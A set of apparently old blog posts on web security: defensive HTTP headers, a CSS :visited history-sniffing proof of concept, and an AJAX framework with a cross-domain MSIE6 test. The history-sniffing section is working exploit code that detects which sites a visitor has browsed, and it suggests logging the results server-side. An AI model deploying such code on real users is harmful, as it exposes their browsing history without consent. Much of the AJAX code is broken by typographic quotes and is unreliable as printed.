Content-Security-Policy HTTP Header

There’s yet another new means to ‘help’ client User-Agents with preventing XSS on your websites.

In it’s simplest form you can simply use the following HTTP Header(s), the second one is for earlier versions of Webkit (Chrome/Safari):

Content-Security-Policy: default-src 'self'
Webkit-CSP: default-src 'self'

You can also add to the above to permit assets to load from other sources.
For example, if you were to permit javascript files from example.com you could include:

Content-Security-Policy: default-src 'self'; script-src http://example.com

Additionally, while failures are noted in the client’s browser console (that most users are not aware of), you can have them sent back to your server by adding a ‘report-uri’ attribute with an appropriate handler:

Content-Security-Policy: default-src 'self'; report-uri http://example.com/csp-report.php

REFERENCES:

X-XSS-Protection HTTP Header

This HTTP Header is a feature added by MSIE8 to force it to restrict some XSS vectors that can be disabled by the user. Generally you can add it into your webserver configuration.

X-XSS-Protection: 1; mode=block

REFERENCES:

X-Content-Type-Options: nosniff

To prevent XSS/CSRF exploits in MSIE8 and newer, it’s often best to close as many attack vectors as possible. An easy one to implement is an HTTP Header to prevent MSIE from “sniffing” the content to change it when incorrect.

Example: we would not want an HTML page intentionally served with ‘text/plain’ to be rendered as HTML.


X-Content-Type-Options: nosniff
Content-Type: text/plain

This could be added programatically to pages in your application, via a servlet or servlet filter or added to the httpd.conf file.

Apache2 example: httpd.conf

<IfModule headers_module>
Header set X-Content-Type-Options nosniff
</IfModule>

REFERENCES:

X-FRAME-OPTIONS HTTP Header

Added in MSIE8 and Mozilla Firefox 3.6.9, Apple Safari 4, IE8, and Google Chrome 2 are several mechanisms to defend against cross-domain forgeries.

You can add to your website to make sure it is not embedded in a frame or iframe. This avoids clickjacking.

The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page in a “<frame>” or “<iframe>“. Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites.

Supported Values:
X-FRAME-OPTIONS: DENY
X-FRAME-OPTIONS: SAMEORIGIN

NOTE: “ALLOW-FROM” is supported in some browsers

You can explicitly set this value for ApacheHTTP in the httpd.conf file, your .htaccess files or code it into the page(s) by the application itself.

Example, add this to the apache config file:

Header always set X-Frame-Options DENY

Exploiting Browser History via CSS

Marketing people will likely love this hack. Information Security types may dislike the exposure of potentially sensitive information. Browser Accessibility individuals will obviously dislike that the fix removes standard ‘history’ behaviors from the browser in many cases.

Cascading Style Sheets (CSS) is a stylesheet language used to describe the presentation of a document written in a markup language, such as HTML. CSS is NORMALLY not a security concern as the technology does not directly effect anything outside of the webpage being viewed. Unfortunately with modern browsers (newer than 4.x), the CSS :visited pseudo-class can be exploited in the following manner to notify a phisher when a user has visited the web page.

  1. A different ‘style’ (color, font, background-image, position) can be set for visited links, allowing this “difference” to be detected via javascript and thus reported back to the website owners.
  2. A background-image defined in CSS “COULD” be a program that records the visited link directly (and allows the display of an image on the website).

There are several ways that this data can be exploited and shared with ‘other’ websites. I’ve included a simple JavaScript “alert()” in my Proof of Concept, the rest should be obvious to any developer with a decent knowledge of web technologies such as JavaScript, DOM, CSS and AJAX.

As ‘contexual’ links are a web standard, and users generally expect to see ‘visited’ links styled differently than ‘unvisited’ links, this behavior and user expectations must also be changed.

Thankfully, there are Mozilla plugins to defend against just this sort of attack:

References:

While unrelated to this particular defect, it helps to understand what else is typically shared between websites. Generally, the ‘Referring URL’ (the page where the link to a new website exists) is shared with the receiving website. Some browsers allow for this HTTP Header to be blocked to prevent this sort of tracking.
Example Code:

<html>
<head>
<title>CSS History Exploit</title>
<style type="text/css">
a.somecls:visited { background-image: url('exploit-image.php?example=cls'); }
a#someid:visited { background-image: url('exploit-image.php?example=id'); }
a:visited { color:red; }
a:link { color:green; }
</style>
<script type="text/javascript">
function xgetHelper(id){
var obj = null;
try {
obj = document.getElementById(id);
} catch(z) {
var dummy=alert("Error:" + z);
}
return obj;
}
function xmillis(){
return new Date().getTime();
}
/*
* This example looks at existing links on the page by using known 'id's for them
* @param obj Object clicked - NOT USED in this EXAMPLE
*/
function exploitHistory(obj){
var a1=exploitHistoryID('a1');
var a2=exploitHistoryID('a2');
var a3=exploitHistoryID('a3');
var rc = a1 + "|" + a2 + "|" + a3;
alert(rc);
}
/*
* @param obj Object clicked - NOT USED in this EXAMPLE
*/
function exploitHistoryDOM(obj){
var x=xgetHelper('links');
var children=x.getElementsByTagName('a');
var rc = '';
for(var i=0; i < children.length; i++){
var b=exploitHistoryOBJ(children[i]);
if(rc!=""){ rc=rc+"|"; }
rc=rc+b;
}
alert(rc);
}
/*
* @param id String
* @return boolean
*/
function exploitHistoryID(id){
var obj=xgetHelper(id);
return exploitHistoryOBJ(obj);
}
/*
* Checks the current CSS color attribute on an (anchor) link to see if it's been visited, indicating that it is in browser history.
* @param obj Object - the HTML (a) tag
* @return boolean
*/
function exploitHistoryOBJ(obj){
var rc=false;
var moz_match='rgb(255, 0, 0)';
var msie_match='red';
if(obj!=null){
var rgb='';
try{
rgb=obj.getStyle('color');//obj.style.backgroundImage;
match=moz_match;
}
catch(e){
// this is likely because the above is Mozilla/DOM dependent, try MSIE currentStyle
try{
var cs=obj.currentStyle;
if(cs!=null){
rgb=cs.color;
}
match=msie_match;
}
catch(e){
//alert('Error:' + e);
}
}
if(rgb==match){
rc=true;
}
}
return rc;
}
/*
* Expects URL with queryString as param href
* @param x URL
* @return boolean
*/
function exploitHistoryURL(obj,x){
var obj=createURL(x);
var rc=exploitHistoryOBJ(obj);
alert(x + "=" + rc);
return false;
}
/*
* This will create an A HREF in the DOM and return the reference to the calling method.
* @param x URL
* @return obj Object of the generated FORM
*/
function createURL(x){
var rc=null;
try{
var id="url" + xmillis();
var oA=document.createElement("a");
oA.setAttribute("id",id);
oA.setAttribute("href",x);
//oA.setAttribute("style","display:none;");
var oBODY=document.getElementsByTagName("body")[0];
oBODY.appendChild(oA);
rc=oA;
}catch(e){
alert("Error"+e);
}
return rc;
}
/*
* @param obj Object clicked - NOT USED in this EXAMPLE
* @param id String - 'id' of INPUT field
*/
function exploitIt(obj,id){
var rc=false;
var aINPUT=xgetHelper(id);
if(aINPUT!=null){
var x=aINPUT.value;
rc=exploitHistoryURL(obj,x);
alert(x + "=" + rc);
}
return false;
}
</script>
</head>
<body>
<p>NOTE: Not so obvious in this example, without looking at the code, is that a PHP file (exploit-image.php) is used to generate the background-image, it COULD be crafted to send data to this (or any other) website for analysis.</p>
<p id="links">[ <a id="a1" href="http://www.giantgeek.com/">http://www.giantgeek.com/</a> |
<a id="a2" href="http://www.skotfred.com/">http://www.skotfred.com/</a> |
<a id="a3" href="http://localhost/">http://localhost/</a> |
<a href="http://slashdot.org/">http://slashdot.org/</a> |
<a href="http://www.mozilla.org/" class="somecls">http://www.mozilla.org/</a> |
<a href="http://www.microsoft.com/" id="someid">http://www.microsoft.com/</a>
]</p>
<a href="javascript:void(0);" onclick="exploitHistory(this);">Exploit History via CSS</a><br />
<a href="javascript:void(0);" onclick="exploitHistoryDOM(this);">Exploit History via CSS - DOM</a><br />
<a href="javascript:void(0);" onclick="exploitHistoryURL(this,'http://www.skotfred.com/');">Exploit History via CSS - URL (http://www.skotfred.com/)</a><br />
<form action="#" method="get" onsubmit="return false;">
<input type="text" name="url" id="url" value="" /><button type="button" onclick="return exploitIt(this,'url');">CHECK</button>
</form>
</body>
</html>

Supporting file for exploit-image.php (STUB for example):

<?php
// NOTE: you could read the param and log the URL here (if desired) this just redirects for now.
//header("Cache-Control: no-store");
header('Location: /images/anim.gif');
?>

Cheers, you’ll probably want a drink after that, either to celebrate or forget!

A Flexible AJAX Framework

AJAX = Asyncronous (but not always), JavaScript, XML (Text or JSON). These technologies have been around almost as long as the Internet itself, but have only recently been used together to change the way that web applications are built.

XMLHTTPRequest is an API used mainly by browser-based Javascript applications to send and retrieve data from servers. It was developed originally by Microsoft for Exchange Server’s Outlook Web Access, but it has since been widely supported in browsers and is the heart of AJAX dynamic Web applications.

I’ve messed with many of the frameworks available online, and while they are very good, I’ve routinely found issues or features that they lack. Over time I’ve cobbled together my own framework, I fully expect this to change over time, but publish it here for your consideration!

The XSS methods (and “otherHost” variable) are provided as MSIE6 allows for Cross-site Scripting here. MSIE7 and Mozilla will indicate errors if connections are attempted to a ‘non-originating host’. I’ve exploited this vulnerability in a few applications, as such I provide the test for you too!

NOTE: The example response program is written in PHP, but should be easily ported to any other language.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<head>

<title>AJAX Example</title>

<script type=”text/javascript”>

var xbusy = true;

var otherHost = ‘http://www.giantgeek.com’; // DO NOT USE the ending slash!

var xhr = null;

/**

* Check for existance on DOM browsers (Mozilla, etc.)

* @return xhr

*/

function ajaxCheckDOM(){

var myxhr = null;

if(window.XMLHttpRequest) {

try {

myxhr = new XMLHttpRequest();

}

catch(e) {}

}

return myxhr;

}

/**

* Check for existance on Windows/MSIE (prior to MSIE7 which is now DOM)

* Evaluate using – new ActiveXObject(“Microsoft.XMLDOM”);

* @return xhr

*/

function ajaxCheckActiveX(){

var myxhr = null;

//if(window.ActiveXObject){

try {

myxhr = new ActiveXObject(“Msxml2.XMLHTTP”);

}

catch(e) {

try {

myxhr = new ActiveXObject(“Microsoft.XMLHTTP”);

}

catch(e) {}

}

//}

return myxhr;

}

/**

* This is a default response hook for AJAX, you SHOULD create your own as it’s only for DEMO

* @param obj – the clicked item

* @param customObj – user defined

*/

function ajaxResponseHook(obj,customObj){

var txt = xhr.responseText;// NOTE: xhr.responseXML is also valid

popStatus(‘AJAX Response value [‘ + txt + ‘|’ + customObj +’]’,”);

}

/**

* This is a common Response handler AJAX, you SHOULD NOT need to modify, use a ‘custom’ ajaxhook function to process the responses.

* @param obj – the clicked item

* @param ajaxhook Function (default will be used if undefined)

* @param customObj (optional – left for developer implementation, passed to the ajaxhook)

*/

function ajaxResponse(obj,ajaxhook,customObj){

var status=”;

if(xhr!=undefined){

var state=xhr.readyState;

if(state!=undefined){

if(state==4){

var code = xhr.status;

status = xhr.statusText;

if(code==200){

popStatus(‘AJAX Response Received.’,”);

if(ajaxhook==undefined){

ajaxhook = function(){ ajaxResponseHook(obj,customObj); }

}

ajaxhook(obj,customObj);

ajaxBusy(obj,false);

} else {

popStatus(‘AJAX Error ‘ + code + ‘ ‘ + status + ‘.’,”);

}

ajaxBusy(obj,false);

xhr=null; /* MSIE6 leak fix */

}

}

}

}

/**

* NOTE: MSIE6-7 supports XSS url’s (be careful!)

* @param obj – the clicked item

* @param url – the GET url params (FQDN)

* @param async (true or false) – false will LOCK browser until response – use cautiously!

* @param callback Function – allows for customized response handling

*/

function ajaxObj(obj,url,async,callback){

if(xbusy == true){

popStatus(‘AJAX BUSY, Please Retry.’,”);

} else {

if(callback==undefined){

callback = function(){ ajaxResponse(obj,hook,”); }

}

ajaxInit(obj,url,async,callback);

}

}

/**

* This is a Non-Caching implementation of ajaxObj() to show how you can avoid the MSIE caching issue.

* NOTE: You can use similar approaches to cache per page or session.

* @param obj – the clicked item

* @param url – the GET url params (FQDN)

* @param async (true or false) – false will LOCK browser until response – use cautiously!

* @param callback Function – allows for customized response handling

*/

function ajaxObjNoCache(obj,url,async,callback){

var cacheBuster=uniqueUrl(url);// damn MSIE!

ajaxObj(obj,cacheBuster,async,callback)

}

/**

* Initializes the AJAX operation

* @param obj – item clicked

* @param url – FQDN

* @param async (true/false) – for locking

* @param callback Function – provided for customization.

*/

function ajaxInit(obj,url,async,callback){

xhr=ajaxCheckDOM();

if(!xhr){

xhr=ajaxCheckActiveX();

}

if(xhr){

ajaxBusy(obj,true);

popStatus(‘AJAX Start.’,”);

xhr.onreadystatechange = callback; // method call

try {

xhr.open(‘GET’,url,async); /* POST */

//xhr.setRequestHeader(‘Content-Type’,’application/x-www-form-urlencoded’);

xhr.send(”); /* null */

}

catch(e)

{

if(xhr){

var code = xhr.status;

var status = xhr.statusText;

popStatus(‘AJAX Client SECURITY ‘ + navigator.appName +’ ‘+ navigator.appVersion + ‘ ‘ + code + ‘ ‘ + status + ‘.’,”);

}

}

ajaxBusy(obj,false);

} else {

popStatus(‘AJAX Client ERROR.’,”);

}

}

function ajaxBusy(obj,yn){

if(yn){

swapStyleObj(obj,’idle’,’busy’);

} else {

swapStyleObj(obj,’busy’,’idle’);

}

xbusyInd(yn,”);

}

function xmillis(){

return new Date().getTime();

}

function swapStyleObj(obj,oldCSS,newCSS){

if(obj!=undefined) {

var current=obj.className;

if(current!=undefined){

var txtOld = current.replace(newCSS,’ ‘);//no doubles

var txtMid = txtOld.replace(oldCSS, ‘ ‘);

var txtNew = (txtMid + ‘ ‘ + newCSS);

obj.className = txtNew;

} else {

obj.className = newCSS;

}

}

}

function xbusyInd(valnew, msg){

xbusy = valnew;

if(xbusy==true){

document.body.style.cursor=’wait’;

if(msg != ”){

top.window.defaultStatus=msg;

popStatus(msg,”);

}

showDiv(‘throbber’);

//blockScreen();

} else {

document.body.style.cursor=’default’;

hideDiv(‘throbber’);

//unBlockScreen();

}

}

function showDiv(id) { //show a div

var obj=xgetHelper(id);

if(obj!=null){ obj.style.display=”block”;}

//xrestart();

}

function hideDiv(id) { //hide a div

var obj=xgetHelper(id);

if(obj!=null){ obj.style.display=”none”;}

//xrestart();

}

function popStatus(txt,title){

popit(‘statusdyn’,’statusarrow’,’statusul’,’statusdiv’,txt,false,title,”);

}

function popit(dynId,arrowId,ulId,divId,txt,expand,title,cssCls){

popText(ulId,txt,title,cssCls);

showDiv(divId);

if(expand == true){

var arrowObj=xgetHelper(arrowId); if(arrowObj!=null){ arrowObj.style.backgroundPosition=’2px -106px’; }

showDiv(dynId);

}

}

function popText(id,txt,title,cssCls){

var obj = xgetHelper(id);

if(obj != null){

var oldHTML = obj.innerHTML;

var cls=”; if(cssCls!=”){ cls=’ class=”‘ + cls +'”‘; }

var htm = ‘<‘+’li’+ cls +’>’ + txt + ‘<‘+’/’+’li’+’>’ + oldHTML;

obj.innerHTML = htm;

}

}

function xgetHelper(id){

var obj = null;

try {

obj = document.getElementById(id);

} catch(z) {

var dummy=alert(“Error:” + z);

}

return obj;

}

function arrowTog(objectID,arrow) {

var obj = xgetHelper(objectID);

if(obj!=null){

if (obj.style.display ==’block’) {

arrow.style.backgroundPosition = ‘2px -21px’;}

else {arrow.style.backgroundPosition = ‘2px -106px’;}

objTog(objectID);

}

return false;

}

function objTog(objectID) {

var obj = xgetHelper(objectID);

if(obj!=null){

if (obj.style.display ==’block’) obj.style.display=’none’;

else {obj.style.display=’block’;}

}

return false;

}

function headTog(objectID,arrow) {

var obj = xgetHelper(objectID);

if(obj!=null){

if (obj.style.display ==’block’) {

arrow.style.borderBottomWidth = ‘1px’;}

else {arrow.style.borderBottomWidth = ‘0px’;}

arrowTog(objectID,arrow);

}

return false;

}

/*

* adds timestamp to URLs to make them unique

* @param URL String

*/

function uniqueUrl(x){

return urlAppender(x,’.cache’,xmillis());

}

/*

* helps to add parms to the url

* @param URL String

* @param aname String

* @param avalue String

*/

function urlAppender(x,aname,avalue){

var delim = “?”;

if(x.indexOf(“?”) >=0) { delim = “&”; }

return x + delim + aname + ‘=’ + avalue;

}

function xload(){

hideDiv(‘throbber’);

xbusy=false;

}

function testAjax(obj){

var callback=function(){ ajaxResponse(obj,null,’testAjax’); }

var x = ajaxObjNoCache(obj,’/ajax.php’,true,callback);

}

function testAjaxParms(obj){

var callback=function(){ ajaxResponse(obj,null,’testAjaxParms’); }

var x = ajaxObjNoCache(obj,’/ajax.php?testing=Y’,true,callback);

}

function testAjaxXSS(obj){

var callback=function(){ ajaxResponse(obj,null,’testAjaxXSS’); }

var x = ajaxObjNoCache(obj,otherHost+’/ajax.php’,true,callback,otherHost);

}

function testAjaxHook(obj){

var hook=function(){ customAjaxHook(obj,’ajaxhookTestMessageObect’); }

var callback=function(){ ajaxResponse(obj,hook,’testAjaxHook’); }

var x = ajaxObjNoCache(obj,’/ajax.php’,true,callback);

}

function testAjaxHookXSS(obj){

var hook=function(){ customAjaxHook(obj,’ajaxhookXSSMessageObect’); }

var callback=function(){ ajaxResponse(obj,hook,’testAjaxHookXSS’); }

var x = ajaxObjNoCache(obj,otherHost+’/ajax.php’,true,callback);

}

/**

* This is a custom implemenation, the customObj COULD be used for anything (perhaps delay measurement!)

* @param obj – the clicked item

* @param customObj – user defined

*/

function customAjaxHook(obj,customObj){

var xml = xhr.responseXML;// NOTE: xhr.responseText is also valid

var tmp = ‘DEMO customAjaxHook [‘ + customObj + ‘]\n’ + xml;

alert(tmp);

}

</script>

<style type=”text/css”>

.busy { color:red; }

.idle { color:black; }

</style>

</head>

<body onload=”xload();”><!– onbeforeunload=”alert(‘before’);” onunload=”alert(‘after’);” –>

<div id=”throbber”>WORKING!</div>

<div id=”statusdiv” class=”dyn” style=”display:none;”>

<h3><a id=”statusarrow” onclick=”headTog(‘statusdyn’,this);” href=”javascript:void(0);”>Status</a></h3>

<fieldset id=”statusdyn” style=”display:block;background-color:#ffffcc;”>

<div id=”statusBox” class=”box”>

<ul id=”statusul” class=”error”>

<li id=”ajaxStatus” style=”list-style:none;display:none;”>FILLER</li>

</ul>

</div>

</fieldset>

</div>

<h3><a href=”javascript:void(0);” onclick=”testAjax(this);”>TEST</a></h3>

<h3><a href=”javascript:void(0);” onclick=”testAjaxParms(this);”>TESTPARMS</a></h3>

<h3><a href=”javascript:void(0);” onclick=”testAjaxXSS(this);”>TESTXSS</a></h3>

<h3><a href=”javascript:void(0);” onclick=”testAjaxHook(this);”>TESTHOOK</a></h3>

<h3><a href=”javascript:void(0);” onclick=”testAjaxHookXSS(this);”>TESTHOOKXSS</a></h3>

<p><a href=”index.php”>RELOAD</a></p>

</body>

</html>

Response program (ajax.php)

<?php

header(“Cache-Control: no-store”);

header(“Charset: UTF-8”);

header(“Content-Type: text/xml”);

echo(“<?xml version=\”1.0\” encoding=\”UTF-8\”?>\n”);

?>

<test><?php echo( gmdate(“D, d M Y H:i:s”) ) ?> </test>

What are the MSIE Bugs you might ask… these are all in the ActiveX implementation of XmlHttpRequest, they are:

  1. Caching – for some reason, unless you define a ‘unique’ URL for each request, MSIE6 will respond from the cache, even if the server is unreachable!
  2. XSS – I discussed this above, MSIE6 will allow you to connect to ANY HOST with AJAX!
  3. Memory leak – if you don’t nullify the XHR object (for MSIE6), the application will leak memory.

Cheers!